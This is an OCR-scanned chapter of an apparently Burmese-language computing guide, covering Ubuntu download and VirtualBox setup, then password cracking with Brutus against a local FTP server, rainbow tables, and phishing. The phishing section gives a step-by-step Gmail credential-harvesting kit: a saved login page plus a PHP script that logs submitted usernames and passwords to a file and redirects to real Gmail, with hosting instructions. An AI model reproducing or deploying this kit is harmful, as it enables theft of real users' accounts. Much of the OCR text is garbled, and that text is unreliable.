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Chapter One
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Programming
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. Download
Ubuntu 8.10 : Coming Soon Ubuntu 8.04 LTS
Can't wait? Download the beta now. Test it and give us

your feedback to make an even better release 1 @
Upgrade
el varsion, bul we T
Get Ubuntu About Ubuntu £ ubuntu 8.10
Dowerload Ubuntu now fior ; : 3 . y L] Z
free, request a fres CO or Ubuntu is & community developed, Linux-based operating system that is &
by it on DWD or D perfect for laptops, desktops and servers, It containg all the applications
vou need - & web browser, presentation, document and spreadsheet 2 3
software, instant messaging and much more,
@\ Get Support Days
I\\Tf_/l Free docurnentation and Learn[%u:nre about Ubunty » - Take the desktop tour » to go

commnunity support, or by
professional support

~% Get Involved
ﬂ l" Share technical know-hiow
with other users, or help to
promiote Lbuntu

Desktop Edition Server Edition

Press Roeom

oL@ Get Developing Ubuntu server team wants to

J  Share your developrnent L » i N ki — howe do you Ubunba?
expertise and help shape Mo e ! sl G 29th Septembar, 2008
the future of Ubuntu

The Ubuntu promise Canonical to Offer Yahoo!

L:j latest news (RSS feed) o Ubuntu will always be free of charge, including enterprise Zirnbra DESkm_D through Ubuntu
releases and security updates. Bartner Repositry
o Ubuntu comes with full cammercial support from Canonical and 7th August, 2008
hundreds of companies around the world, .
s Ubunty includes the very best translations and accessibility UI“!ISDH rgleased for Ubunp_: n
infrastructure that the free software community has to offer, b_r|nq unified communications 1o
s Lbuntu CDs contain only free software applications; we L
encourage you to use free and open source software, improve it Sth August, 2008
and pass it an,

Mews archive s

Read more about the Ubuntu philosophy
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"3 ubuntu

» what is Ubuntu?

«“3ubunt

¥ Get Ubuntu

» Download

# Purchase

# Reguest CDs
» Release Mokes
» Upgrading

» Countdawn

» Mirror Ubuntu

» Software Catalogue

» MMerchandise

» Case Studies

* Products  ® Support ® Community  ® Parthers ® News

Search

Get Certified

Ubuntu Tratning
Get Ubuntu leam mofex

You are here:  Home » Get Ubuntu - Download, request a CO; or buy on COJDVD

How can you get Ubuntu?

There are nowr three ways for vou to get Ubuntu, Just choose the delivery option that works best for you:

| r’y| Download now - Download the Ubunty, Edubuntu ar Kubuntu CO installer to your computer now,

Plagse nota: the C0 Instaler is nearly 7000, If you dor't have 5 fast intanmat conmaction you may warnt o
consiger requesting & C5.

% get Ubuntu

@ Get Support

Buy on CD or DVYD - Buy 3 CDor DVD with Ubunty, Edubuntu or Kubuntu CD, or a large number of CDs
= frorm a distributor near you, If you are in North Arnerica you can get Ubuntu and Kubuntu an OVD from
AMAzon.com.

@ Request a free CD - Reguest a free Ubuntu, Edubuntu or Kubuntu CD from Canonical.

» Delivery typically takes 6-10 weeks

& Uze each C0 a5 many times a8 you like - you are free to use iton as many computers as vou wish
and ta pass on to others

® | earn more by visiting the Shipit Questions page.
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*» Products ™ Support P Community P Parthers ™ MNews

“3 ubuntu

Search

F B
47 ubuntu™

Get Certified

Ubuntu Tratring

Get Ubuntu learn ol
» What is Ubunt? You are here:  Home * Get Ubuntu * Download Ubuntu
v GetUbuntu The fastest way for most people to get Ubuntl is by downloading the CD Installer, The CD Installer is riearly 700MB, If you
+ Download don't have a fast internet connection you may want to consider requesting a CD,
» Purchase
W _— L (i,
» Request CDs ¥ Download Ubuntu \_i) Buy Ubuntu on CD | © ) Request free CDs

» Relzase Mokes

» Upgrading .
Which release do you want?

B+ Courtdown
: I & Uhunty 5.04 LTS Desktop Edition - Supported 1o 2011
» Mirror Ubuntu
T UL 5,08 LTS Server Eman - Suppor

» Software Catalogue

I The LTS varsion of Lbusiu receiives jang-term sypport, 3 pears 1o deskiog rersions ongd T years for servaer versions.
» Merchandise

Cage Studi What type of computer do vou have?
» Case ies Choose the ap-
& standard personal computer (86 architecture, Pertiurm™, Celeron™, athlon™, Sermpron™) propriate one
o O gabit AMD and Irtel compliters for your system.
@% Get Ubuntu

Vel |Choose a location near you |

{United States MIT Media Lab v
Get Support

= n Start Download
ﬂ# Get Involved
. [ check here if you need the alternate deskiop CD. This CD does not include the Live CD, instead it uses a text-hased

B . installer.
=27 et Develnninn




Your Download Should Begin Shortly See all the

o ® latest gear

If your download does not start in approximately 15 seconds, you can click here to launch } “_ : for 8.04 @
the download. § The Ubuntu Store
\ including the

I limited edition

Download URL: bt Afubunt media. mit.edu/ubuniu-releases hardy ubuntu- iy heron t-shirt

8.04. 1-desktop-ia86.is0

Ubuntu Edition: Ubuntu 8.04.1 deskiop

Computer Platform: 336

Download Location: http: /fubuntu. media. mitedu/ubuntu-releases/

while {{i; : 1 Ubuntu iterms including a limited edition Heran
t-ghirt.
You have chosen ko open
Need fi % ubuntu-8.04.1-desktop-i386.iso
whichiis a: PowerISo File
Here an Fram: http:/fubunku. media.mit.edu want to print this page for your reference.
. : e e _
. ~What should Firefox do with Ehis File: | s el UbuntLcom eom MUty
Open with | PowerIS0 (default e | i
O o ' : :' — bUNtLL comfcom munity HowToMDESLUM
(%): Save File
[ ] Do this automatically For Files like this From now on, I
anflistinfo/ubunt-Users
_ mmunity SChatiHowto
Lok || cancel | poortipad
. wed,

- IsoRecorder o3 Download cpd[g: 005a323E:c805d
http://isorecorder.alexfeinman.com/isorecorder.htm

§ software §, Ubuntu .iso file 03 88cg05000g/06da3, burn coddl
0. Burn [Gzog0203 CD 03 CD-ROM o5 copdaons(3e 0p&q)|022073 Restart codoli

2005 20mRSq)e2u CD m6s Boot vcwda3 windows o300 8005 Boot 66 ¢
Boot order o3 a[p:cdeo:d, adola8Geudi apSyjlom Restart cpbessj$en BIOS od
oCe|gpEieozqen|gdilonudi BIOS o50Ea) key o system 00093, 0069 aR[gpsdlonudi
qpPeeoon3mig¢ F10 (a3,) DEL (a3,) ESC key 03, 03 §6qdlecdi Boot ©c0bapdgEs Screen
&> To Enter Setup a3[8 $63, key 03 eqglqoonienp§dloncdi
5-5.



Setup gets you
into the BIOS

Bimemnsion 30808 Series
i)
BIODS Bovision I

BIOS cdeepodagniqC Boot sequence o3eged: CD-ROM o3 First boot device 33(gd egzao:dli
¢-6iq
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Systan Date ........... in yeur BOS

Orive Coniiguration ...
Hard=Disk Briva 3st.ence ..
Boot Sequesce ...........

Hemory Informelion ........
CPU Information ........,

Imtegrated Bevices [Lnga;g&lm Opt ionz )
TPower Nanagemest ................00.000000... el A
sﬁti. ﬂmliu ----- A N TS RO L T (R T e o R B [

14 to select sm:.+,- te change

.os 3at Rug 19,

16:84 . Z8

(ENTER
(INTER
(ENTER)

oo CEMTER)
.. (EMTER)

(ENTER?

.+ AENTER
.+ AEMIERD

2BR5




Susten TIRE vovs avenmons sk inessinnerinivedeveenin e 1684041

Systen Date . = ~ 7 19, 26886
| { 1. IDE CD-ROM Device
m Drive Configuf { 2. Hard-Disk Drive C:
| Hard-Disk Dri Y T RN -
BRI | SPACE to emablesdisable | +,- to move down/up

| Kenor ion Pamasirarlins CHNTRRY
Menory Information . oy

| CPU Information ... EePCOY™SUrLoro iy oo SENTERD
this enmplnj is first

Integrated Devices [Lﬁgasyﬁelecl ﬂptiunE! cvoor CENTERD
Power Management .........ceeoeiiiiieiiisninisinavnonr CENTERY
Systen Jecarity i . (ENTER>

CD-Rom oes Boot cobeuscdad§sdqé Ubuntu boot options screen o3
cicrplopleplclenlet BISTI QUIAETON!

(;)-s)



Boot Options 2seedsubuntu.seed bootzcasper initrd=scaspersinitrd.gz guiet splash --

F1 Help F2 Lang

Virtual Box

Linux 03 0309§, windows a3¢00 32034ggi€oo05e3q€ Virtual Machine 006903 Virtual Box
$. Create cpd[Ge 05:88EAlonud

0. oooeoc"P: Virtual Box o§ http://www.virtualbox.org/wiki/Downloads one$ download
oAl

J- @:q& Install C\PSC\%OSQSIH

0. Run c8o5(8s 036adian New aBoxa3 86dl

?°€C

By YT

File Machine Help

i
i‘wﬁl} "

. Ne% Settings:  Deleta Start  Discard



G. Next o3 864k

(l)'OO

reate New Virtual Machine

Welcome to the New Virtual Machine Wizard!

This wizard will=gui|:|g you through the steps that are _
necessary to create a new virkual machine For YirkualBozx,

Usethe Neula.h!_ittnn kogo tﬁ& next page DF_thE wizard and
the Back button ko return ta the previous page.

< Back | | Mext ?E I Cancel ]

§). Virtual Machine 220305 sn0pdeosfGe OS Type ¢ Ubuntu o3 egzeodh

- 20

7 Create New Virtual Machine

VM Name and OS Type

Enter a name For the riew virtual machine and sel_eu:l_:'th_e't'gpe
of the guest operating system you plan boinstall onto the
wirkual machine,

The mame of the virtual machine usually indicates its software
and hardware configuration. It will be used by all VirtualBox
components ko identify wour virkual machine,

arne

| Jbunku |

D5 Tvpe

|LI|:||_|nI:|_| {il W
i |

= Back ] | Nié:'nc?"fb ; ; ! [ EE%:?J
by




6. Linux 03 Run &, 220305 RAM 00003 egeauidli 0309005¢ 000002:03 RAM 0edang), 4
6006) (93,) 000005 GruodegIeLIOll 0Y$E0HME; 2 gigs RAM 0060, 512 MB

6g:c0z0lon0di

Select the amount of base memary (RAM) in megabytes ko be
allocated to the wirkual machine.

The recormended base memary size is 256 ME,

Base Memory Size

: =

4MB 3554 MB

Welcome to the Create New Virtual Disk Wizard!

Thiis wizard will belp wou to create a new virtual hard disk
image for wour wirkual machine,

IUse the Mextt butkon o go ko the next page of the wizard and
[:%he Back button to return to the previous page.

<ack | | Mext = ] [ canest




©. 030 hard disk ¢o Space cogsaqpia3: §9E Dynamic Image o3egeausdh lsd Program
6oR3a4Pi3:09C:8, 3508a6gendll Space $05:esqCe0 Fixed-Size Image 03 cgeozOll
S - 14

Create New Vi

Virtual Disk Image Type

Select the type of virkual hard disk image you want to create,

& dynamically expanding image initially occupies a very
small amount of space on your physical hard disk., Tk will grow
dynamically {up ko the size specified) as the Guest 05 claims
disk space.

A fined-size image does not araw, Ik is skored ina File of
approximately the same size as the size of the virtual hard
disk. The creation of a fixed-size image may take a long time
depending on the image size and the write performance of
wour harddisk, :

Image Twpe
#) Dynamically expanding image

) Fixed-size image

[1 < Bark. ]l T\]ext"':;’\el [ Cancel ]
bt

@. Virtual Hard Disk Size 0edcno? 200500560l og§eondoneon 2050500t 2 GB
GOOP05002:0l000dI

Virtual Disk Location and Size

Press the Select button bo select the location and narme of
the file to skare the wirtlal hard disk image or bype a file name
in the entry field,

Imane File Mame

|EEuntu

Select the size of the wirtual hard disk image in megabytes,
This size will be reported to the Guest OF as the size of the
virbual hard disk,

Image Size

x|

EGEE

LosBeck | [Hexts L;JPI Cancel




00. Finish 03 8603053l

‘fou. are going to create a rew virtual hard disk image with the:
Following parameters:

Type: Dynamically expanding image

Location: C: ) . } .
\Diocurments and Settingsi\David M irkualBox VDT

Size:; 2,00 GB (2147453648 Bytes)

& - | @

If I:]'u_a above settings are correct, press the Finish button.
0ince you press it, a new hard disk image will be created,

00. Next o3 864l
v 29

Select a hard disk image to be used as the boot hard disk of
Ehe virtual machine, Yol can either create a new hard disk
using the Mew button of select an existing hard disk image
From the drop-down lisk or by pressing the Existing button
ito invoke the Yirtual Disk Manager dialog).

If wou need a more caomplicaked hard disk setup; wou can-also
skip this step and attach hard disks laker using the ¥M Setkings
dialog.

The recommended size of the boot hard disk is 2048 ME.

Boot Hard Disk (Primary Master)

|LII:uuntu.vdi (CHDocuments and SettingsiDavid M'l,.'-.-'irtti:]

| mew.. || Exsting... |

| <Back | [ heds J? | cancel
. [




o J. Finish o3 8608053l

(B'OG)

Summary

You are going ko create a new virkual maching with the
Following parameters:

Marne: Lli:uluntll_l .
05 Type: CktherfUnknown
Base Memory: 512 ME

Boot Hard Disk: Ubuntu.wdi IfC: ]
\Documents and SetkingsiDavid MY YirtualBo

£ il | 2
If the above is correct press the Finish button, Onee you
press it, & new virtual machine will be created,

Moke that wou can aler these and all other setting of the
created wirtual machine at any time wsing the Settings dialog
accessible through the menu of the main windoty,

| sBack | [ Fmsh r\! | concel |
by

0. 329 Main Page o3 [gSeepo5og:daddeudi CD/DVD-ROM 03 0oc0d$60l
&-19

{2} % % <!;L) .Detaiis ‘ Snapshats ”@ Description; |

Mew | Settings Delete  Start  Discard [E General
Name Uburiu

05 Type Uburtu

Base Memory £00 ME

Video Memory &MB

Book Order Floppy, CO/DWD-ROM, Hard Disk.
ACPT Enabled

10 APIC Disabled

WT-x[AMD-Y Disabled

PAENZ Disabled

| Ubuntu
Povered OFf

&5 Hard Disks
IDE Primary Master asdr vdi [Normal, 3.00 GB)

Mok mounte:

[ Floppy

Mot mounted

0 audio

Disabled

& [D/DVD-R;FI)

EP Network
Adapter 1 PCret-FAST 11T (NAT)

43 Serial Ports
Disabled

UsB
Disabled

(5] Shared Folders
Mone

Remote Display
Disablad




0oG. Mount CD/DVD Drive o3 Check cusl3s ©05ad¢> Ubuntu Live CD §, ISO Image 3¢
§e00:qC ISO Image File 03eg:ol o§jeonpon: 33[gEen 683 §qE Host CD/DVD Drive o3

g0 6goopd Run o qdlooudi

(? - 20
% Ubuntu - Settings

General CD/DVD-ROM
Hard Disks ;
@ copvorom | [ Maunt COJOVD Crive
E Floppy ) Host COJDVD Drive
e audio :D:
@ Mebwork Enable Passthrough
{35 Serial Ports (%) 150 Image File

o —
L o =
[ Shared Folders
Remoke Display

Inviokes the Yirbual Disk Manager to select a CO/DYD image to mount;

j‘_‘., Trwalid settings detected Ik, l Zancel I [ Help |

o). Main Screen oo Start 9cpod03 86[3s Virtual Machine o3 000303l
o-21

DB R D

Mew Sefttings  Delete

i~
Al
J

Discard

Sta _

&2 Ubuntu

7 0 Powiered OFF



Learning Linux

Linux 03 329 Run 61 a6sGedqE omeoganudadznadiggecdsdon a8qwddl
3056g:q[udad003 Linux Distribution o3 3ESESELE 32034y ES, oonCanprnanEdlanudi
Linux Distribution o3¢0 20803 opoBeo:8Cend Community cog sagpiadgordloncdu
Google &,09 §p[0309c8053l pown - Ubuntu o3egsgiudaonioncdadqteo
http://ubuntuforums.org/ o3 og:eepPadEnR(e3EdAN Linux § 83€03 033660303 waddl

Linux saeoypEs collogpieuioy Websites cogeopds sagpsojsdolonudi
Official Linux Website — http://www.linux.org/

Begin Linux — http://www.beginlinux.org/

Linux Tutorials — http://www.linux-tutorial.info/
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Fasswiord:

Lo || cancel |

0. G§00D.. I Brutus o3 program cod903 ¢&[G: Password o3 oG Crack
3 [D3pozdlocdu
5-23

" www. hoobie. net/brutus - (January 2000} s i o

File Toaols Help
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C. FTP Server §, User name o3 0a302:63q€ sacosagpeads User name 6oRs,
§peodladéeody
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eopdloy 803 Pass File csepen browse cpdegeaopdeoqdlecdi [goddeomEgsod
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©. Start 0386030503, vgogoueGe Server 03800599058, [F0d:le86wudi [Greon
a30d00pdeuon:03 word list cogadmes [gd§Eeq§o) username §, password o3
oepAla8&eudi

S - 26

Target 127.0.0.1 verified L
E%zned Lzef file containing B users. =

ned pazzword file containing 818 Passwords. E |
b axirum number of authentication attempts will be 4308
Engaging target 127.0.0.1 with FTF
T ving-uzermarne: admin

T e g Talot s Ty AN T Aftlar el
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B 9960000583607 6500500:wn Username §, Password o3 gogn:dla86ecdi
G8NNMO6ox Username — admin §, Password — password &303 0§03 username

qudi password qud qagazdlonudi

& -27
Fozitive .-’-'-.uthengi\catinn Rezultz
Tanget I’-E | Type |zername Paszwiord
127.0.01 FTP admir pasziword

Located and installed 1 authentication plug-in:

Initializing...

Target 127.0.0.1 verified

Opened uzer file containing B wzers.

Opened pazsword file containing 818 Passwords.

b awimumm number af authentication attempts will be 4303

Engaging target 127.0.0.7 with FTF

Tming wuzername: admin

Positive authentication at 127 000,71 with Uzer: admin Pazsword ; pazsword (550 attemptz]
b amimum total authentication attempts reduced to 4649
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00. Gk$003 OO Brdu§0goeogn’ 2deGedqC Proxy §.0 adecpgolodud
0305§, IP Address o3 Proxy oo ¢:3p6000:60:lonodi 02008, Proxy o adqcdedeon
63NNOe [§C6033203¢:3 Brutus um Target Server ad a3uS0Eog:0005630m003 Log 6o

qPe0Y: g$002:30lo0oudi

o - 28

(000747 10/2342008 17:01:03 Pk
(000143] 1023420028 17:.01:09 PM
(000143) 10/23/2008 17:01:03 PM
(O00151] 1042342008 17:01:09 PM
(A00151] 1042342008 17:01:03 PM
(0001 50) 10/23/2008 17:01:09 PM
(0001 50] 10423420028 17:01:09 PM
(0001521 1042342008 17:01:03 PM
(Q00152) 10/2342008 17:01:03 Pk
(000153] 1023420028 17:01:09 PM
(0001 53] 10/23/2008 17:01:03 PM
(000155] 10,/234200817:01:09 PM
(000155) 1042342008 17:01:03 PM
(000154] 1042342008 17:01:09 PM
(000154] 10423420028 17:01:09 PM
(0001471 10/23/200817:01:15 PM
(000747 10/2342008 17:01:15 Pk
(000143] 102342002 17:.01:15 PM
(000146] 10/23/2008 17:01:15 PM
(0001 4E] 102342008 17:01:15 PM
(000142 102342008 17:01:15 PM
(0007 45] 1042342008 17:01:15 PM
(000150) 1042342008 17:01:15 PM
(000 50) 1042342008 17:01:15 PM
(0007152) 10/2342008 17:01:15 PM
(O0052]10/23/2008 17:01:15 PM
(000154] 10/23/2008 17:01:15 PM
(000754 10/2342008 17:01:15 PM
(0001 54] 102342008 17:01:15 PM
(00071 43) 10/23/2008 17:01:15 PM
(Q00151] 10423420081 7:01:15 PM
[O00151] 1042342008 17:01:15 PM
(000153] 1042342008 17:01:15 PM
(A00153)10/2342008 17:01:15 PM
(000155) 10/23/2008 17:01:15 PM
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- [notlogged in) [127.0.0.1): 331 Pazzword required for admin
- [not lagaed in] (127.0.0.1]): USER admin

- [rot logoed in] [127.0.0.1 ) 331 Paszward required for admin
- [not logged in] [127.0.0.1): USER admin

- [not logged in] [127.0.0.7): 331 Passward required for admin
- [rof logged in] (127.0.0.1] USER admin

- [not logged in) [127.0.0.1]: 331 Pazsword required for admin
- [nof logged in] (127.0.0.1]: USER admin

- [not logged in) [127.0.0.1): 331 Pazzword required for admin
- [hot lagaed in] [127.0.0.1]): USER admin

- [rot logoed in] (127.0.0.1 ) 331 Paszward required for admin
- [nat logged in] [127.0.0.1): USER admin

- [not logaed in] [127.0.0.7) 331 Passward required for admin
- [nof logged in] (127.0.0.1]: USER admin

- [not logged ) [127.0.0.1]: 331 Pazsword required for admin
- [not logged in] (1270007 PASS ==

- [not logged in) [127.0.0.1): 530 Login or pazzword incorect!
- [mot logaed in) [127.0.0. 14 PASS ==

- [rot lagaed in] [127.0.0.1
- [not logged in] [127.0.0.1): 530 Login or pazaword incorect!
- [not logged in] [127.0.0.7]: PASS =

- [not logoed in] [127.0.0.1]: 530 Login or password incorrect
- [not logged in) (127.0.0.7] PASS ™

- [rot logaed in] [127.0.0.1]: 530 Login or pazsword incaorrect
- ot logged in) (127.0.0.1] PASS "=

- [hiot logged in) [127.0.0.1)x 530 Login or pazsword incorect!
- [not logged in] (1270001 PaSS ===

- [not logged in] [127.0.0.1 ) 530 Login or pazgaword incomrect!
- [hot lagged in] [127.0.0.1): dizconnected.

- [not logoed in] [127.0.0.7]: 530 Login or pazsword incorrect
- [not logged in) [127.0.0.7]: PASS ==

- [rot logged in] [127.0.0.7]: 530 Login or pazsword incorrect
- ot logged in] (127.0.0.1] PASS ==

- [not logged in) [127.0.0.1)> 530 Login or pazsword incorect!
- [not logged in) [127.0.0.1] PSS ===
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[T I e B T R R ot T [ 1]
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=+ 000165 (nok logged in) 127.0.0.1
=*000159 (ot logaed in) 127.0.0.1
=Z+000170 fnok logged in) 127.0.0.1
=Z+000171 nok logged in) 127.0.0.1
=Z+000172 nok logged in) 127.0.0.1
=2 000173 (notk logged in) 127.0,0.1
=2*000174 (not logged in) 127.0.0.1
= 000175 (not logged in) 127.0,0.1

00. 3263/0cdm IP suldress 127.0.0.1 8303 Geped 00m0d sttack cvo3sa§$ed Proxy
©0):02:3qC LOgIF, 3BES G0le5e[gdALON G0 VOGO
8c8c[gepoy$30602; 3006296 [Gedl
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<73$q||[m€]° Speed Gogsc;eéT & ©0053londI

229 950 FTP Server 0301 Brutus 030%:(3:3 Brute-force sttack §, password o3 Crack

5SS

o. Dictionary sfitack c06300§:0033 Target, Type &, Port 60303 egeeosdli Pass Mode ¢

Brute Force o3egg3s Range o3 §60l
& - 29

P RIS S AETZ - www-ioatie riet/brutas - [January 2000)"

File Tools Help

Target |127.0.01 Type |FTP

[~ Connection Dptions
Fort |21

~FTF Options

kadify zequence [ Ty bo stay connected for ]Llnlimite 'i attemptz

[—Authentication Options

Connections © |
Prer L

1|:| TimEDUt 1|_IJIIII rr
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a2

|

Start ] Stop ]Elear‘

T Use Py Define

v Use Usemame v Single User

FPas: Mode jBrute Fu:ur-:ej E

Rangg:

e[ ;admin PazzFile J TaluEA bl
Pozitive Authentication Results
Tanget J Tupe i zemarne ] FPazzword J

Located and installed 1 authentication plug-ing
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3cgudi Glgagnsdledd
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Located and instilled 1 authentication plug-ins

Initializing...

Target 127.0.0.1 werified

Brute farce will generate 321272407 Pazswords.

M axirnum rumnber of authentication atternpts will be 321272407
Erngaging target 127.0.0.7 wath FTR
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Rainbow Tables

Rainbow  table &30  [988Ceqfod  odcdeacleogd,  hash  value
[0310oE0g05q/0h000:03 List 3a[0303:0d @aloond Password hash sdoxaneon; password
06903 20gP305008§206505:00093, e[PE:d8050m08 BBdloncdi Hash adood
one way encryption o8 a3[o3dloocdi dlefo3pé password 006903 hash cpdcBadqE 58 hash
string 0o6$ @cododoon:dd ©60z03 [G8[B: 6B, (decrypt cpdad)) oqdlonu 8eom
[468Ceqfior 3aad:qp:03 password eogod Dictionary Attack ¢dopsson 0903 Password
list oSon word oRa3 [03eoE hash cvboon:o} table o Rainbow table o8 eslGloocdu
Website database ¢ogoden password ¢ogod 936:03A &l A gpsads: 2303 hashing algorithm
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Website 0069¢0 20C Register co60005c8, a3[03018, 1 Username copdeudi Password
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Algorithm  § 0305053058t qeno) hash o3 database 03¢aB86:08050lon0dn Sled
database o3¢n 036:c3050m hash code copdh 8602 650050084l Login oEaA §Seo
B0d5§od0y  Password e (hash code owdd) &, 900080l qocd? Login o,
password §o5B: OCo3A §8eo Script ood9en password o3 MD5 Algorithm 3.0
0RodqoPcd05(G: Database ad¢no36:002:03 hash code &, ododadodesoidlonudi ©$E
0EgCausdm>Clonwdi

'Khit100’ s863 encd:A 03d), MD5 Hash o> 500434195db756dc7d145c319cfc387 Sl
‘www.myanmarfamily.org” e3003 edc8abqE  4d826a9df56b2904dd100d3calfbe019
qoloud [§08Eeq§od ©d:A o3eoRd, Hash Value Table o§qE Brute-force Cracking
co0d Crack qom A qpgo3dadlcd6eudi Rainbow table 00903 w&aBdGeogdgadel
Password ¢og03 Crack oo Brute-force apd[Gs crack [§E:c005 A £0100 Jlg§olaBgecdi
Windows password cracking A 9§:03 cepodq Rainbow table 3, crack [§€:03 eodlgdlecdi



Phishing

Phising a0  00deuN0de0NdmRE  ;euntesntfG:  Usernames  eop)
passwords GoR3, bank information ¢og0d $:n[gigddlonudi pows - c0€egoopdoon:a)
PN 208a833:60:008,0008 G:dodeentad LgNm 3 .c305dlonwdi F38cwidaden
008§, 32607803 2005006:03gE3, 8anwdad e[pfGe link 0009 Guscondlecdn 338 Link
386305 E0pd: <ale 21 home page  $,§05900n03 web page
069036ep0dag0:dlc860udi dlevewd 338 page [Ponsaopdoll BEamesl: 20Cq,

password ¢og copd[G:0Ead0508 602, 20EegESVANEORUM LN, Gesded
(Aloonad) o5 §, Web Server ood9adeepodagn:dladbeddi 260mE:edinnpdon§end
Phishing Web Pages 60R03 @q00m8C0 wgm[gdd.meoxy HTML &, PHP
caplovpliloppticionlop 00056[gpr500msd a3dlonudi Phishing Web Page
00690003WOL3e07  $05§0600009  eIMOdE[P[gdecdn  8cd  Attack  §god
omagud8ES, 1g60Rq, Phishing Page cv0500:00600860303 98000:3 c3dlonwdi

0. 000wed: Target egzOloudn Phishing Attack 03 A gpzad:A cp08[03q03 Target 6oRnEO;
Hotmail §, Gmail di 92008 c3a8e0o2; A" 8uneogmn cradaypdmSs

908q,60:00A GomEMDN !gPa0EEEFRaE cdlgp: Website coged§od

20CA GomEeR{, A IEdA CONNERN3RS: qdecl & powdedeon Gmail o3 Target

ooo:|§: G[(.f)@og):c;]@of)u

J- Target o3egeBeoga:qC A8 page o3o04Gs Main page 0069cd:03 Save coo3lewdi
og$e0ondoneom Morzilla Firefox Browser o a:dlooudi slefogpé www.gmail.com o3og04(Ge

eepadageqC Browser oo File -> Save page as 03860l [Geq€ Save cpdod) esepegeodl
Save as type : Gsepy> Web Page, complete [goesdleon [GigE Save 038603050l
& - 32. 33



&= Edit  Migw  History  Delicious  Bookmarks  Tools  Help

P Window Chrl+1 ' EiE

Mew Tab CerleT _ £ .80 petps: g googe.
Open Location... Ckel+L
Cpen File. .. Chrl+0
Close Chrl+ Welcome to Gmail
Save Page 5.
Send Link... h [ .
h to email.
Page Setup...
Prink Prewview mbmail, built on the idea that email can be
Printk ... Chrl+P
Impart... ed messages out of your inbox with Goog
w'ark, OFFline
Exit isg

@ FEad man on your mobile phone by pointing your phe

S ave in; :I.f;_"‘,-l_":mail {VI Q> -

kMy Recent
Documents

F ."
£

Deszktop
by Documents

.

ky Cormputer

@ File narme: | Servicelogin iVl
My Metwork | Saveastyps: | 'Weh Page, complete ™

0. Save cvd[Giognq 238 Page § $00p0u index.htm vpodewPod (303l vurodqE
index.htm &[gpE:cd05dl index o8, e[gpzq[gEesaciopEineor; 838Ee0z03 host

00699600E[G: link 03 ¢&[0305q€ index page on sagEadiedicnen & Ol

G. 6§20500808M6E0 F0yE20000580: 220000 login 3395300060303 $:3, PHP script
0009 6eqdlovdi 633050 PHP script 7602, Login 08a335g0533000560303 Sign in
000§, 986280p0:60z00Y Script $0520l 3AOCROG03 [1300giC000de3qCI aadM



code 60?3 Notepad a3¢n opzcopd[g: Gmail page o3 save cpd303 G5ePS 0006500000360
phish.php 8303500005, 936203050l [Geeomy omeedlal empty text file 0od903c0d:

38656pe00 list.txt $00008, create cOOSHS0l

<?php // This marks the beginning of the PHP script.

Header("Location:
https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&co
ntinue=http%3A%_2F%?2Fmail.google.com%2Fmail%2F%3Fui%3DhtmI|%26zy%3DI&bsv=
1k96igf4806cy&Itmpl=default&ltmplcache=2 "); // once you click "Sign in” in the fake
website, this redirects you to the real Gmail website, making the whole process look more
legit.

$handle = fopen(“list.txt”, “a”); // this tells the server to open the file “list.txt” and get it
ready for appending data. Which in this case is your username and password.
Foreach($_GET as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, “=");

fwrite($handle, $value);

fwrite($handle, “\r\n");

} // This section simply assigns all the information going through this form to a variable.
This includes your username and password.

Fwrite($handle, “\r\n"); // This writes your details to the file “list.txt”

fclose($handle); // This simply closes the connection to the file “list.txt”

exit;

?> [/ Marks the end of the PHP program.
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0. B83803 Save c8ff: 8503053

B 6520500080Cme0on 2388860303 php support co:o} free web host
0699600E050l free G0} host cogn3eo; Google §, gpe3pdcdaddl



00. 8Ee0p 320di00EGiognqC list.txt E03 writing permission cusgdlecdn hosting site
322:00:03C:0303 3E00dgCedaon0d CHMOD option Guzcon:eap§olonwdi 333 option
o3egeaosde list.txt 3E320305 permission o3 777 o3 elgpeuiadnddln Slo3
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(yourwebhostname esepan 03058Ec0303 003003 site name)
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9500 sign in o€30) username oo “myusername” $. password oo “mypassword”

3,a8[03318.1 SlaBq€ list.txt BEDBe e3:0050m03E: [§EqLleud
5-36

ltmpl=default
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continue=http://mail.google.com/mail/?
service=mail
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Passwd=mypassword
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signln=%ign in
asts=

60R,033203E:010 $20030503 $60300E0, 630d§, email password Slog:Old
clopodoep[oit 6552



om0z0585qp:
§ Chapter ¢o 665[g903 Password Cracking $p0:820:00:q), §$0065 9000080m00p05qes

a302003 3a(0jeuidlecdr

Social Engineering, Shoulder Surfing §, Guessing $05:603330305 0700300805:036027
oelgpeonilon 396005¢0 33850516033, Sqea0desME 0, 0FopedeonTRad,
a0l A Sleowd BgEennnndedqteon vqt:3p605e¢n v0d[03008Elonwdi

Dictionary Attack qpzel g§e omogud[gts

§ Attack 03 0058 A 005m607) A 603 §eosdlonudi Dictionary o3¢ o)
0020060303 password A (g6 ©ade3 edli dictionary a3on eoadieoR0395:0001 leoend
o00%:0004),09 $3l0560R5, A ©2:034{G:0d:qC Gonns{Jad, 00dg),peoRM
co€onablogolonudn conzeanEsdlopar 1337 omomeom: dictionary cogaopds
A qpgoBiog05esaldn 1337 0o000m:ed0m e30d:6aR03 $01055 A ©:aB:ee:0m0dl powd
“animal” o3 4n1m41 &3[8: eegorycocdedli

Brute-force Attack §§¢ 0m0300[gE:

Password o3 godqodads password oS¢ $dlodeoy odd character
(1@#$%8*><.....)e03d] copdod dlad 8 Attack §,qSones
600560250200R008EAMBGwudI password qodecor A8 password o3 crack §o3
A §§0lopecodldn 208§, password o crack 6§60 e603H60500 oo,
hacker copbs 8odqod[G A §eauscdnddla8oedi

Rainbow Tables o329:q) 0305805[gC:0 omaud[gt:
Password o3 godqodomaeozaoniq Rainbow Table 0303¢d: Crack aiqsmaes
om0g058EAlonudi Rainbow Table 00d90§03:3 o0& Resource A g3 A §§A qpeo3:

c8dlonodi dlefopE Rainbow Table 6003 gpegponien: gpecoy SEolons

Phishing §¢ om0p05[gEs
8 Attack 03c0pd: GA :GA :650:680:0 GePERSETlonLd Website 006900 20E03

Username cogi Password ¢op [§o58¢:[adqE URL bar ad03 (030008053 Uown - a3udom



gmail.com o303 030) password §o5copd[G: 0€60200de3dl8 | sleved URL bar oSaon
address oo oCes0) gmail.com ewp0d33 gmail.randomsite.com, or gamilmail.com a3(3s

0003 address cog(gdesqC 333l 20073l Gmail 306 page s3qC http://mail.google.com
B8t (309 0leudi og§omadqt s2070l

More Programs

229 Password Cracking 8303000003 20&a8022:0G 3led cv[o3jodgpal eeanadan
cracking software GoR0a3c000: Gapaoa[o3dAl
Can and Abel — http://www.oxid.it/cain.html

John the Ripper — http://www.openwall.com/john/
